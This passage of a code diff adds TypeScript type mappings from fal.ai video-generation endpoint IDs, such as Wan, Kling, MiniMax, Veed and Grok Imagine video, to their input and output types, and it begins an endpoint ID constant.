InputFalAiSam31VideoRle + output: OutputFalAiSam31VideoRle + } + 'fal-ai/sam-3/video': { + input: InputFalAiSam3Video + output: OutputFalAiSam3Video + } + 'fal-ai/sam-3/video-rle': { + input: InputFalAiSam3VideoRle + output: OutputFalAiSam3VideoRle + } + 'fal-ai/sam2/video': { + input: InputFalAiSam2Video + output: OutputFalAiSam2Video + } + 'fal-ai/scail-2': { + input: InputFalAiScail2 + output: OutputFalAiScail2 + } + 'fal-ai/seedvr/upscale/video': { + input: InputFalAiSeedvrUpscaleVideo + output: OutputFalAiSeedvrUpscaleVideo + } + 'fal-ai/sync-lipsync': { + input: InputFalAiSyncLipsync + output: OutputFalAiSyncLipsync + } + 'fal-ai/sync-lipsync/react-1': { + input: InputFalAiSyncLipsyncReact1 + output: OutputFalAiSyncLipsyncReact1 + } + 'fal-ai/sync-lipsync/v2': { + input: InputFalAiSyncLipsyncV2 + output: OutputFalAiSyncLipsyncV2 + } + 'fal-ai/sync-lipsync/v2/pro': { + input: InputFalAiSyncLipsyncV2Pro + output: OutputFalAiSyncLipsyncV2Pro + } + 'fal-ai/sync-lipsync/v3': { + input: InputFalAiSyncLipsyncV3 + output: OutputFalAiSyncLipsyncV3 + } + 'fal-ai/sync-lipsync/v3/image-to-video': { + input: InputFalAiSyncLipsyncV3ImageToVideo + output: OutputFalAiSyncLipsyncV3ImageToVideo + } + 'fal-ai/thinksound': { + input: InputFalAiThinksound + output: OutputFalAiThinksound + } + 'fal-ai/thinksound/audio': { + input: InputFalAiThinksoundAudio + output: OutputFalAiThinksoundAudio + } + 'fal-ai/video-upscaler': { + input: InputFalAiVideoUpscaler + output: OutputFalAiVideoUpscaler + } + 'fal-ai/vidu/image-to-video': { + input: InputFalAiViduImageToVideo + output: OutputFalAiViduImageToVideo + } + 'fal-ai/vidu/q1/image-to-video': { + input: InputFalAiViduQ1ImageToVideo + output: OutputFalAiViduQ1ImageToVideo + } + 'fal-ai/vidu/q1/reference-to-video': { + input: InputFalAiViduQ1ReferenceToVideo + output: OutputFalAiViduQ1ReferenceToVideo + } + 'fal-ai/vidu/q1/start-end-to-video': { + input: InputFalAiViduQ1StartEndToVideo + output: OutputFalAiViduQ1StartEndToVideo + } + 'fal-ai/vidu/q1/text-to-video': { + input: InputFalAiViduQ1TextToVideo + output: OutputFalAiViduQ1TextToVideo + } + 'fal-ai/vidu/q2/image-to-video/pro': { + input: InputFalAiViduQ2ImageToVideoPro + output: OutputFalAiViduQ2ImageToVideoPro + } + 'fal-ai/vidu/q2/image-to-video/turbo': { + input: InputFalAiViduQ2ImageToVideoTurbo + output: OutputFalAiViduQ2ImageToVideoTurbo + } + 'fal-ai/vidu/q2/reference-to-video/pro': { + input: InputFalAiViduQ2ReferenceToVideoPro + output: OutputFalAiViduQ2ReferenceToVideoPro + } + 'fal-ai/vidu/q2/text-to-video': { + input: InputFalAiViduQ2TextToVideo + output: OutputFalAiViduQ2TextToVideo + } + 'fal-ai/vidu/q2/video-extension/pro': { + input: InputFalAiViduQ2VideoExtensionPro + output: OutputFalAiViduQ2VideoExtensionPro + } + 'fal-ai/vidu/q3/image-to-video': { + input: InputFalAiViduQ3ImageToVideo + output: OutputFalAiViduQ3ImageToVideo + } + 'fal-ai/vidu/q3/image-to-video/turbo': { + input: InputFalAiViduQ3ImageToVideoTurbo + output: OutputFalAiViduQ3ImageToVideoTurbo + } + 'fal-ai/vidu/q3/reference-to-video/mix': { + input: InputFalAiViduQ3ReferenceToVideoMix + output: OutputFalAiViduQ3ReferenceToVideoMix + } + 'fal-ai/vidu/q3/text-to-video': { + input: InputFalAiViduQ3TextToVideo + output: OutputFalAiViduQ3TextToVideo + } + 'fal-ai/vidu/q3/text-to-video/turbo': { + input: InputFalAiViduQ3TextToVideoTurbo + output: OutputFalAiViduQ3TextToVideoTurbo + } + 'fal-ai/vidu/q4/image-to-video': { + input: InputFalAiViduQ4ImageToVideo + output: OutputFalAiViduQ4ImageToVideo + } + 'fal-ai/vidu/q4/reference-to-video': { + input: InputFalAiViduQ4ReferenceToVideo + output: OutputFalAiViduQ4ReferenceToVideo + } + 'fal-ai/vidu/reference-to-video': { + input: InputFalAiViduReferenceToVideo + output: OutputFalAiViduReferenceToVideo + } + 'fal-ai/vidu/start-end-to-video': { + input: InputFalAiViduStartEndToVideo + output: OutputFalAiViduStartEndToVideo + } + 'fal-ai/vidu/template-to-video': { + input: InputFalAiViduTemplateToVideo + output: OutputFalAiViduTemplateToVideo + } + 'fal-ai/void-video-inpainting': { + input: InputFalAiVoidVideoInpainting + output: OutputFalAiVoidVideoInpainting + } + 'fal-ai/wan-22-vace-fun-a14b/depth': { + input: InputFalAiWan22VaceFunA14BDepth + output: OutputFalAiWan22VaceFunA14BDepth + } + 'fal-ai/wan-22-vace-fun-a14b/inpainting': { + input: InputFalAiWan22VaceFunA14BInpainting + output: OutputFalAiWan22VaceFunA14BInpainting + } + 'fal-ai/wan-22-vace-fun-a14b/outpainting': { + input: InputFalAiWan22VaceFunA14BOutpainting + output: OutputFalAiWan22VaceFunA14BOutpainting + } + 'fal-ai/wan-22-vace-fun-a14b/reframe': { + input: InputFalAiWan22VaceFunA14BReframe + output: OutputFalAiWan22VaceFunA14BReframe + } + 'fal-ai/wan-25-preview/image-to-video': { + /** + * @description Input for image-to-video generation + * @type object + */ + input: InputFalAiWan25PreviewImageToVideo + /** + * @description Base output for video generation + * @type object + */ + output: OutputFalAiWan25PreviewImageToVideo + } + 'fal-ai/wan-25-preview/text-to-video': { + /** + * @description Input for text-to-video generation + * @type object + */ + input: InputFalAiWan25PreviewTextToVideo + /** + * @description Base output for video generation + * @type object + */ + output: OutputFalAiWan25PreviewTextToVideo + } + 'fal-ai/wan-i2v': { + input: InputFalAiWanI2V + output: OutputFalAiWanI2V + } + 'fal-ai/wan-i2v-lora': { + input: InputFalAiWanI2VLora + output: OutputFalAiWanI2VLora + } + 'fal-ai/wan-pro/image-to-video': { + input: InputFalAiWanProImageToVideo + output: OutputFalAiWanProImageToVideo + } + 'fal-ai/wan-pro/text-to-video': { + input: InputFalAiWanProTextToVideo + output: OutputFalAiWanProTextToVideo + } + 'fal-ai/wan-t2v-lora': { + input: InputFalAiWanT2VLora + output: OutputFalAiWanT2VLora + } + 'fal-ai/wan-vace-14b': { + input: InputFalAiWanVace14B + output: OutputFalAiWanVace14B + } + 'fal-ai/wan-vace-14b/depth': { + input: InputFalAiWanVace14BDepth + output: OutputFalAiWanVace14BDepth + } + 'fal-ai/wan-vace-14b/inpainting': { + input: InputFalAiWanVace14BInpainting + output: OutputFalAiWanVace14BInpainting + } + 'fal-ai/wan-vace-14b/outpainting': { + input: InputFalAiWanVace14BOutpainting + output: OutputFalAiWanVace14BOutpainting + } + 'fal-ai/wan-vace-14b/pose': { + input: InputFalAiWanVace14BPose + output: OutputFalAiWanVace14BPose + } + 'fal-ai/wan-vace-14b/reframe': { + input: InputFalAiWanVace14BReframe + output: OutputFalAiWanVace14BReframe + } + 'fal-ai/wan-vace-apps/long-reframe': { + input: InputFalAiWanVaceAppsLongReframe + output: OutputFalAiWanVaceAppsLongReframe + } + 'fal-ai/wan-vace-apps/video-edit': { + input: InputFalAiWanVaceAppsVideoEdit + output: OutputFalAiWanVaceAppsVideoEdit + } + 'fal-ai/wan/v2.2-14b/animate/move': { + input: InputFalAiWanV2214BAnimateMove + output: OutputFalAiWanV2214BAnimateMove + } + 'fal-ai/wan/v2.2-14b/animate/replace': { + input: InputFalAiWanV2214BAnimateReplace + output: OutputFalAiWanV2214BAnimateReplace + } + 'fal-ai/wan/v2.2-14b/speech-to-video': { + input: InputFalAiWanV2214BSpeechToVideo + output: OutputFalAiWanV2214BSpeechToVideo + } + 'fal-ai/wan/v2.2-5b/image-to-video': { + input: InputFalAiWanV225BImageToVideo + output: OutputFalAiWanV225BImageToVideo + } + 'fal-ai/wan/v2.2-5b/text-to-video': { + input: InputFalAiWanV225BTextToVideo + output: OutputFalAiWanV225BTextToVideo + } + 'fal-ai/wan/v2.2-5b/text-to-video/distill': { + input: InputFalAiWanV225BTextToVideoDistill + output: OutputFalAiWanV225BTextToVideoDistill + } + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan': { + input: InputFalAiWanV225BTextToVideoFastWan + output: OutputFalAiWanV225BTextToVideoFastWan + } + 'fal-ai/wan/v2.2-a14b/image-to-video': { + input: InputFalAiWanV22A14BImageToVideo + output: OutputFalAiWanV22A14BImageToVideo + } + 'fal-ai/wan/v2.2-a14b/image-to-video/lora': { + input: InputFalAiWanV22A14BImageToVideoLora + output: OutputFalAiWanV22A14BImageToVideoLora + } + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo': { + input: InputFalAiWanV22A14BImageToVideoTurbo + output: OutputFalAiWanV22A14BImageToVideoTurbo + } + 'fal-ai/wan/v2.2-a14b/text-to-video': { + input: InputFalAiWanV22A14BTextToVideo + output: OutputFalAiWanV22A14BTextToVideo + } + 'fal-ai/wan/v2.2-a14b/text-to-video/lora': { + input: InputFalAiWanV22A14BTextToVideoLora + output: OutputFalAiWanV22A14BTextToVideoLora + } + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo': { + input: InputFalAiWanV22A14BTextToVideoTurbo + output: OutputFalAiWanV22A14BTextToVideoTurbo + } + 'fal-ai/wan/v2.2-a14b/video-to-video': { + input: InputFalAiWanV22A14BVideoToVideo + output: OutputFalAiWanV22A14BVideoToVideo + } + 'fal-ai/wan/v2.7/edit-video': { + /** + * @description Input for Wan 2.7 video editing. + * + * Supports instruction-based editing, reference image-based editing, + * and video style transfer. + * @type object + */ + input: InputFalAiWanV27EditVideo + /** + * @description Output for Wan 2.7 video editing. + * @type object + */ + output: OutputFalAiWanV27EditVideo + } + 'fal-ai/wan/v2.7/image-to-video': { + /** + * @description Input for Wan 2.7 image-to-video generation. + * + * The wan2.7-i2v model is a unified endpoint supporting: + * - First-frame-to-video (provide image_url) + * - First-and-last-frame-to-video (provide image_url + end_image_url) + * - Video continuation (provide video_url instead of image_url) + * @type object + */ + input: InputFalAiWanV27ImageToVideo + /** + * @description Output for Wan 2.7 image-to-video generation. + * @type object + */ + output: OutputFalAiWanV27ImageToVideo + } + 'fal-ai/wan/v2.7/reference-to-video': { + /** + * @description Input for Wan 2.7 reference-to-video generation. + * + * Supports single or multi-character video generation from reference images + * and/or videos. Also supports multi-shot narration. + * @type object + */ + input: InputFalAiWanV27ReferenceToVideo + /** + * @description Output for Wan 2.7 reference-to-video generation. + * @type object + */ + output: OutputFalAiWanV27ReferenceToVideo + } + 'fal-ai/wan/v2.7/text-to-video': { + /** + * @description Input for Wan 2.7 text-to-video generation. + * @type object + */ + input: InputFalAiWanV27TextToVideo + /** + * @description Output for Wan 2.7 text-to-video generation. + * @type object + */ + output: OutputFalAiWanV27TextToVideo + } + 'fal-ai/workflow-utilities/auto-subtitle': { + /** + * @description Input model for automatic subtitle generation and styling + * @type object + */ + input: InputFalAiWorkflowUtilitiesAutoSubtitle + /** + * @description Output model for video with automatic subtitles + * @type object + */ + output: OutputFalAiWorkflowUtilitiesAutoSubtitle + } + 'fal-ai/workflow-utilities/blend-video': { + /** + * @description Input model for blending two video frames together + * @type object + */ + input: InputFalAiWorkflowUtilitiesBlendVideo + /** + * @description Output model for blended video + * @type object + */ + output: OutputFalAiWorkflowUtilitiesBlendVideo + } + 'fal-ai/workflow-utilities/reverse-video': { + /** + * @description Input model for reversing a video + * @type object + */ + input: InputFalAiWorkflowUtilitiesReverseVideo + /** + * @description Output model for reversed video + * @type object + */ + output: OutputFalAiWorkflowUtilitiesReverseVideo + } + 'fal-ai/workflow-utilities/scale-video': { + /** + * @description Input model for scaling/resizing a video to specific dimensions + * @type object + */ + input: InputFalAiWorkflowUtilitiesScaleVideo + /** + * @description Output model for scaled/resized video + * @type object + */ + output: OutputFalAiWorkflowUtilitiesScaleVideo + } + 'fal-ai/workflow-utilities/trim-video': { + /** + * @description Input model for trimming a video to a specified time range + * @type object + */ + input: InputFalAiWorkflowUtilitiesTrimVideo + /** + * @description Output model for trimmed video + * @type object + */ + output: OutputFalAiWorkflowUtilitiesTrimVideo + } + 'google/gemini-omni-flash': { + input: InputGoogleGeminiOmniFlash + output: OutputGoogleGeminiOmniFlash + } + 'google/gemini-omni-flash/edit': { + input: InputGoogleGeminiOmniFlashEdit + output: OutputGoogleGeminiOmniFlashEdit + } + 'google/gemini-omni-flash/image-to-video': { + input: InputGoogleGeminiOmniFlashImageToVideo + output: OutputGoogleGeminiOmniFlashImageToVideo + } + 'google/gemini-omni-flash/reference-to-video': { + input: InputGoogleGeminiOmniFlashReferenceToVideo + output: OutputGoogleGeminiOmniFlashReferenceToVideo + } + 'google/gemini-omni-flash/v1.1/edit': { + input: InputGoogleGeminiOmniFlashV11Edit + output: OutputGoogleGeminiOmniFlashV11Edit + } + 'google/gemini-omni-flash/v1.1/image-to-video': { + input: InputGoogleGeminiOmniFlashV11ImageToVideo + output: OutputGoogleGeminiOmniFlashV11ImageToVideo + } + 'google/gemini-omni-flash/v1.1/reference-to-video': { + input: InputGoogleGeminiOmniFlashV11ReferenceToVideo + output: OutputGoogleGeminiOmniFlashV11ReferenceToVideo + } + 'google/gemini-omni-flash/v1.1/text-to-video': { + input: InputGoogleGeminiOmniFlashV11TextToVideo + output: OutputGoogleGeminiOmniFlashV11TextToVideo + } + 'google/gemini-omni-flash/v1.2/edit': { + input: InputGoogleGeminiOmniFlashV12Edit + output: OutputGoogleGeminiOmniFlashV12Edit + } + 'google/gemini-omni-flash/v1.2/extend': { + input: InputGoogleGeminiOmniFlashV12Extend + output: OutputGoogleGeminiOmniFlashV12Extend + } + 'google/gemini-omni-flash/v1.2/image-to-video': { + input: InputGoogleGeminiOmniFlashV12ImageToVideo + output: OutputGoogleGeminiOmniFlashV12ImageToVideo + } + 'google/gemini-omni-flash/v1.2/reference-to-video': { + input: InputGoogleGeminiOmniFlashV12ReferenceToVideo + output: OutputGoogleGeminiOmniFlashV12ReferenceToVideo + } + 'google/gemini-omni-flash/v1.2/text-to-video': { + input: InputGoogleGeminiOmniFlashV12TextToVideo + output: OutputGoogleGeminiOmniFlashV12TextToVideo + } + 'google/gemini-omni-flash/v1.2/upscale': { + input: InputGoogleGeminiOmniFlashV12Upscale + output: OutputGoogleGeminiOmniFlashV12Upscale + } + 'heygen/heygen-video/image-to-video': { + input: InputHeygenHeygenVideoImageToVideo + output: OutputHeygenHeygenVideoImageToVideo + } + 'heygen/heygen-video/reference-to-video': { + input: InputHeygenHeygenVideoReferenceToVideo + output: OutputHeygenHeygenVideoReferenceToVideo + } + 'heygen/heygen-video/text-to-video': { + input: InputHeygenHeygenVideoTextToVideo + output: OutputHeygenHeygenVideoTextToVideo + } + 'kling/v4/flash/image-to-video': { + /** + * @description The output aspect ratio follows the start frame. + * @type object + */ + input: InputKlingV4FlashImageToVideo + output: OutputKlingV4FlashImageToVideo + } + 'kling/v4/flash/reference-to-video': { + input: InputKlingV4FlashReferenceToVideo + output: OutputKlingV4FlashReferenceToVideo + } + 'kling/v4/flash/text-to-video': { + input: InputKlingV4FlashTextToVideo + output: OutputKlingV4FlashTextToVideo + } + 'kling/v4/flash/video-to-video': { + input: InputKlingV4FlashVideoToVideo + output: OutputKlingV4FlashVideoToVideo + } + 'kling/v4/image-to-video': { + /** + * @description The output aspect ratio follows the input frames. + * @type object + */ + input: InputKlingV4ImageToVideo + output: OutputKlingV4ImageToVideo + } + 'kling/v4/reference-to-video': { + input: InputKlingV4ReferenceToVideo + output: OutputKlingV4ReferenceToVideo + } + 'kling/v4/text-to-video': { + input: InputKlingV4TextToVideo + output: OutputKlingV4TextToVideo + } + 'kling/v4/video-to-video/edit': { + input: InputKlingV4VideoToVideoEdit + output: OutputKlingV4VideoToVideoEdit + } + 'lightricks/ltx-2.5/audio-to-video/fast': { + input: InputLightricksLtx25AudioToVideoFast + output: OutputLightricksLtx25AudioToVideoFast + } + 'lightricks/ltx-2.5/audio-to-video/pro': { + input: InputLightricksLtx25AudioToVideoPro + output: OutputLightricksLtx25AudioToVideoPro + } + 'lightricks/ltx-2.5/image-to-video/fast': { + input: InputLightricksLtx25ImageToVideoFast + output: OutputLightricksLtx25ImageToVideoFast + } + 'lightricks/ltx-2.5/image-to-video/pro': { + input: InputLightricksLtx25ImageToVideoPro + output: OutputLightricksLtx25ImageToVideoPro + } + 'lightricks/ltx-2.5/text-to-video/fast': { + input: InputLightricksLtx25TextToVideoFast + output: OutputLightricksLtx25TextToVideoFast + } + 'lightricks/ltx-2.5/text-to-video/pro': { + input: InputLightricksLtx25TextToVideoPro + output: OutputLightricksLtx25TextToVideoPro + } + 'luma/agent/ray/v3.2/image-to-video': { + input: InputLumaAgentRayV32ImageToVideo + output: OutputLumaAgentRayV32ImageToVideo + } + 'luma/agent/ray/v3.2/reframe': { + input: InputLumaAgentRayV32Reframe + output: OutputLumaAgentRayV32Reframe + } + 'luma/agent/ray/v3.2/text-to-video': { + input: InputLumaAgentRayV32TextToVideo + output: OutputLumaAgentRayV32TextToVideo + } + 'luma/agent/ray/v3.2/video-to-video': { + input: InputLumaAgentRayV32VideoToVideo + output: OutputLumaAgentRayV32VideoToVideo + } + 'minimax/h3-max-turbo/extend-video': { + /** + * @description Extend a video with new footage based on a prompt. + * @type object + */ + input: InputMinimaxH3MaxTurboExtendVideo + output: OutputMinimaxH3MaxTurboExtendVideo + } + 'minimax/h3-max-turbo/image-to-video': { + input: InputMinimaxH3MaxTurboImageToVideo + output: OutputMinimaxH3MaxTurboImageToVideo + } + 'minimax/h3-max-turbo/reference-to-video': { + /** + * @description Reference KV caching supports references without target keyframes. + * @type object + */ + input: InputMinimaxH3MaxTurboReferenceToVideo + output: OutputMinimaxH3MaxTurboReferenceToVideo + } + 'minimax/h3-max-turbo/text-to-video': { + input: InputMinimaxH3MaxTurboTextToVideo + output: OutputMinimaxH3MaxTurboTextToVideo + } + 'minimax/h3-max/3d-to-video': { + input: InputMinimaxH3Max3DToVideo + output: OutputMinimaxH3Max3DToVideo + } + 'minimax/h3-max/camera-controls': { + /** + * @description MiniMax H3 Multi-angle input with a fixed internal camera LoRA. + * @type object + */ + input: InputMinimaxH3MaxCameraControls + output: OutputMinimaxH3MaxCameraControls + } + 'minimax/h3-max/extend-video': { + /** + * @description Extend a video with new footage based on a prompt. + * @type object + */ + input: InputMinimaxH3MaxExtendVideo + output: OutputMinimaxH3MaxExtendVideo + } + 'minimax/h3-max/image-to-video': { + input: InputMinimaxH3MaxImageToVideo + output: OutputMinimaxH3MaxImageToVideo + } + 'minimax/h3-max/insert-video': { + input: InputMinimaxH3MaxInsertVideo + output: OutputMinimaxH3MaxInsertVideo + } + 'minimax/h3-max/lip-sync/image-to-video': { + input: InputMinimaxH3MaxLipSyncImageToVideo + output: OutputMinimaxH3MaxLipSyncImageToVideo + } + 'minimax/h3-max/recast': { + input: InputMinimaxH3MaxRecast + output: OutputMinimaxH3MaxRecast + } + 'minimax/h3-max/reference-to-video': { + input: InputMinimaxH3MaxReferenceToVideo + output: OutputMinimaxH3MaxReferenceToVideo + } + 'minimax/h3-max/reframe-video': { + input: InputMinimaxH3MaxReframeVideo + output: OutputMinimaxH3MaxReframeVideo + } + 'minimax/h3-max/relight': { + input: InputMinimaxH3MaxRelight + output: OutputMinimaxH3MaxRelight + } + 'minimax/h3-max/styles/16bit-pixel': { + input: InputMinimaxH3MaxStyles16BitPixel + output: OutputMinimaxH3MaxStyles16BitPixel + } + 'minimax/h3-max/styles/hand-drawn': { + input: InputMinimaxH3MaxStylesHandDrawn + output: OutputMinimaxH3MaxStylesHandDrawn + } + 'minimax/h3-max/styles/low-poly': { + input: InputMinimaxH3MaxStylesLowPoly + output: OutputMinimaxH3MaxStylesLowPoly + } + 'minimax/h3-max/styles/retro-toon-70s': { + input: InputMinimaxH3MaxStylesRetroToon70S + output: OutputMinimaxH3MaxStylesRetroToon70S + } + 'minimax/h3-max/styles/vhs': { + input: InputMinimaxH3MaxStylesVhs + output: OutputMinimaxH3MaxStylesVhs + } + 'minimax/h3-max/text-to-video': { + /** + * @description Public H3 Max input; Max Turbo keeps the shared Turbo input contract. + * @type object + */ + input: InputMinimaxH3MaxTextToVideo + output: OutputMinimaxH3MaxTextToVideo + } + 'minimax/h3/image-to-video': { + input: InputMinimaxH3ImageToVideo + output: OutputMinimaxH3ImageToVideo + } + 'minimax/h3/image-to-video/lora': { + input: InputMinimaxH3ImageToVideoLora + output: OutputMinimaxH3ImageToVideoLora + } + 'minimax/h3/reference-to-video': { + input: InputMinimaxH3ReferenceToVideo + output: OutputMinimaxH3ReferenceToVideo + } + 'minimax/h3/reference-to-video/lora': { + input: InputMinimaxH3ReferenceToVideoLora + output: OutputMinimaxH3ReferenceToVideoLora + } + 'minimax/h3/text-to-video': { + input: InputMinimaxH3TextToVideo + output: OutputMinimaxH3TextToVideo + } + 'minimax/h3/text-to-video/lora': { + input: InputMinimaxH3TextToVideoLora + output: OutputMinimaxH3TextToVideoLora + } + 'mirelo-ai/sfx2.0/video-to-video': { + input: InputMireloAiSfx20VideoToVideo + output: OutputMireloAiSfx20VideoToVideo + } + 'moonvalley/marey/i2v': { + input: InputMoonvalleyMareyI2V + output: OutputMoonvalleyMareyI2V + } + 'moonvalley/marey/motion-transfer': { + input: InputMoonvalleyMareyMotionTransfer + output: OutputMoonvalleyMareyMotionTransfer + } + 'moonvalley/marey/pose-transfer': { + input: InputMoonvalleyMareyPoseTransfer + output: OutputMoonvalleyMareyPoseTransfer + } + 'moonvalley/marey/t2v': { + input: InputMoonvalleyMareyT2V + output: OutputMoonvalleyMareyT2V + } + 'mureka/api/generate/lyrics-video': { + input: InputMurekaApiGenerateLyricsVideo + output: OutputMurekaApiGenerateLyricsVideo + } + 'nvidia/cosmos-3-super/image-to-video': { + input: InputNvidiaCosmos3SuperImageToVideo + output: OutputNvidiaCosmos3SuperImageToVideo + } + 'pixelcut/looping-video': { + input: InputPixelcutLoopingVideo + output: OutputPixelcutLoopingVideo + } + 'pixelcut/video-background-removal': { + /** + * @description Input model for video background removal. + * @type object + */ + input: InputPixelcutVideoBackgroundRemoval + /** + * @description Output model for video background removal. + * @type object + */ + output: OutputPixelcutVideoBackgroundRemoval + } + 'pixverse/music-video/vibemv': { + input: InputPixverseMusicVideoVibemv + output: OutputPixverseMusicVideoVibemv + } + 'sonilo/v1.1/video-to-video-music': { + input: InputSoniloV11VideoToVideoMusic + output: OutputSoniloV11VideoToVideoMusic + } + 'sonilo/v1.1/video-to-video-sound-effects': { + /** + * @description sfx-v1.0 video schema (video-to-audio / video-to-video): plain-language + * field help for the product Playground. Prompt and segments are advanced; + * flash and seed are hidden. + * @type object + */ + input: InputSoniloV11VideoToVideoSoundEffects + output: OutputSoniloV11VideoToVideoSoundEffects + } + 'tbc/mischief-1/image-to-video': { + input: InputTbcMischief1ImageToVideo + output: OutputTbcMischief1ImageToVideo + } + 'topaz/deblur/video': { + input: InputTopazDeblurVideo + output: OutputTopazDeblurVideo + } + 'topaz/denoise/video': { + input: InputTopazDenoiseVideo + output: OutputTopazDenoiseVideo + } + 'topaz/interpolate/video': { + input: InputTopazInterpolateVideo + output: OutputTopazInterpolateVideo + } + 'topaz/sdr-to-hdr/video': { + input: InputTopazSdrToHdrVideo + output: OutputTopazSdrToHdrVideo + } + 'topaz/upscale/video/creative': { + input: InputTopazUpscaleVideoCreative + output: OutputTopazUpscaleVideoCreative + } + 'topaz/upscale/video/generative': { + input: InputTopazUpscaleVideoGenerative + output: OutputTopazUpscaleVideoGenerative + } + 'topaz/upscale/video/precision': { + input: InputTopazUpscaleVideoPrecision + output: OutputTopazUpscaleVideoPrecision + } + 'vast/eden-live-14b-video': { + /** + * @description Offer forwarded by the WMA bridge. + * @type object + */ + input: InputVastEdenLive14BVideo + output: OutputVastEdenLive14BVideo + } + 'vast/eden-live-5b-video': { + /** + * @description Offer forwarded by the WMA bridge. + * @type object + */ + input: InputVastEdenLive5BVideo + output: OutputVastEdenLive5BVideo + } + 'veed/avatars/audio-to-video': { + input: InputVeedAvatarsAudioToVideo + output: OutputVeedAvatarsAudioToVideo + } + 'veed/avatars/text-to-video': { + input: InputVeedAvatarsTextToVideo + output: OutputVeedAvatarsTextToVideo + } + 'veed/dubbing': { + input: InputVeedDubbing + output: OutputVeedDubbing + } + 'veed/dubbing/pro': { + input: InputVeedDubbingPro + output: OutputVeedDubbingPro + } + 'veed/fabric-1.0': { + input: InputVeedFabric10 + output: OutputVeedFabric10 + } + 'veed/fabric-1.0/fast': { + input: InputVeedFabric10Fast + output: OutputVeedFabric10Fast + } + 'veed/fabric-1.0/text': { + input: InputVeedFabric10Text + output: OutputVeedFabric10Text + } + 'veed/lipsync': { + input: InputVeedLipsync + output: OutputVeedLipsync + } + 'veed/lipsync/v2': { + input: InputVeedLipsyncV2 + output: OutputVeedLipsyncV2 + } + 'veed/subtitles': { + input: InputVeedSubtitles + output: OutputVeedSubtitles + } + 'veed/video-background-removal': { + input: InputVeedVideoBackgroundRemoval + output: OutputVeedVideoBackgroundRemoval + } + 'veed/video-background-removal/fast': { + input: InputVeedVideoBackgroundRemovalFast + output: OutputVeedVideoBackgroundRemovalFast + } + 'veed/video-background-removal/green-screen': { + input: InputVeedVideoBackgroundRemovalGreenScreen + output: OutputVeedVideoBackgroundRemovalGreenScreen + } + 'wan/v2.6/image-to-video': { + /** + * @description Input for Wan 2.6 image-to-video generation + * @type object + */ + input: InputWanV26ImageToVideo + /** + * @description Output for image-to-video generation + * @type object + */ + output: OutputWanV26ImageToVideo + } + 'wan/v2.6/image-to-video/flash': { + /** + * @description Input for Wan 2.6 I2V Flash image-to-video generation. + * @type object + */ + input: InputWanV26ImageToVideoFlash + /** + * @description Output for image-to-video generation + * @type object + */ + output: OutputWanV26ImageToVideoFlash + } + 'wan/v2.6/reference-to-video': { + /** + * @description Input for Wan 2.6 reference-to-video generation (R2V) + * @type object + */ + input: InputWanV26ReferenceToVideo + /** + * @description Output for reference-to-video generation + * @type object + */ + output: OutputWanV26ReferenceToVideo + } + 'wan/v2.6/reference-to-video/flash': { + /** + * @description Input for Wan 2.6 R2V Flash reference-to-video generation + * + * The flash model is 10-20 seconds faster than the standard R2V model + * and supports generating videos with or without audio. It also supports + * both images and videos as reference inputs. + * @type object + */ + input: InputWanV26ReferenceToVideoFlash + /** + * @description Output for reference-to-video generation + * @type object + */ + output: OutputWanV26ReferenceToVideoFlash + } + 'wan/v2.6/text-to-video': { + /** + * @description Input for Wan 2.6 text-to-video generation + * @type object + */ + input: InputWanV26TextToVideo + /** + * @description Output for text-to-video generation + * @type object + */ + output: OutputWanV26TextToVideo + } + 'xai/grok-imagine-video/edit-video': { + input: InputXaiGrokImagineVideoEditVideo + output: OutputXaiGrokImagineVideoEditVideo + } + 'xai/grok-imagine-video/extend-video': { + input: InputXaiGrokImagineVideoExtendVideo + output: OutputXaiGrokImagineVideoExtendVideo + } + 'xai/grok-imagine-video/image-to-video': { + input: InputXaiGrokImagineVideoImageToVideo + output: OutputXaiGrokImagineVideoImageToVideo + } + 'xai/grok-imagine-video/reference-to-video': { + input: InputXaiGrokImagineVideoReferenceToVideo + output: OutputXaiGrokImagineVideoReferenceToVideo + } + 'xai/grok-imagine-video/text-to-video': { + input: InputXaiGrokImagineVideoTextToVideo + output: OutputXaiGrokImagineVideoTextToVideo + } + 'xai/grok-imagine-video/v1.5/image-to-video': { + /** + * @description ``grok-imagine-video-1.5`` image-to-video (no ``aspect_ratio``). + * + * Widens ``resolution`` to add the 1080p tier supported by the 1.5 model + * (the standard model remains 480p/720p only). + * @type object + */ + input: InputXaiGrokImagineVideoV15ImageToVideo + output: OutputXaiGrokImagineVideoV15ImageToVideo + } + 'xai/grok-imagine-video/v1.5/lite/image-to-video': { + /** + * @description ``grok-imagine-video-1.5`` image-to-video (no ``aspect_ratio``). + * + * Widens ``resolution`` to add the 1080p tier supported by the 1.5 model + * (the standard model remains 480p/720p only). + * @type object + */ + input: InputXaiGrokImagineVideoV15LiteImageToVideo + output: OutputXaiGrokImagineVideoV15LiteImageToVideo + } + 'xai/grok-imagine-video/v1.5/lite/text-to-video': { + input: InputXaiGrokImagineVideoV15LiteTextToVideo + output: OutputXaiGrokImagineVideoV15LiteTextToVideo + } + 'xai/grok-imagine-video/v1.5/reference-to-video': { + input: InputXaiGrokImagineVideoV15ReferenceToVideo + output: OutputXaiGrokImagineVideoV15ReferenceToVideo + } + 'xai/grok-imagine-video/v1.5/text-to-video': { + input: InputXaiGrokImagineVideoV15TextToVideo + output: OutputXaiGrokImagineVideoV15TextToVideo + } +} + +export const falPostEndpointIdEndpointId = { + 'alibaba/happy-horse/image-to-video': 'alibaba/happy-horse/image-to-video', + 'alibaba/happy-horse/reference-to-video': + 'alibaba/happy-horse/reference-to-video', + 'alibaba/happy-horse/text-to-video': 'alibaba/happy-horse/text-to-video', + 'alibaba/happy-horse/v1.1/image-to-video': + 'alibaba/happy-horse/v1.1/image-to-video', + 'alibaba/happy-horse/v1.1/reference-to-video': + 'alibaba/happy-horse/v1.1/reference-to-video', + 'alibaba/happy-horse/v1.1/text-to-video': + 'alibaba/happy-horse/v1.1/text-to-video', + 'alibaba/happy-horse/video-edit': 'alibaba/happy-horse/video-edit', + 'alibaba/wan-3.0-prime/image-to-video': + 'alibaba/wan-3.0-prime/image-to-video', + 'alibaba/wan-3.0-prime/reference-to-video': + 'alibaba/wan-3.0-prime/reference-to-video', + 'alibaba/wan-3.0-prime/text-to-video': 'alibaba/wan-3.0-prime/text-to-video', + 'alibaba/wan-3.0/image-to-video': 'alibaba/wan-3.0/image-to-video', + 'alibaba/wan-3.0/reference-to-video': 'alibaba/wan-3.0/reference-to-video', + 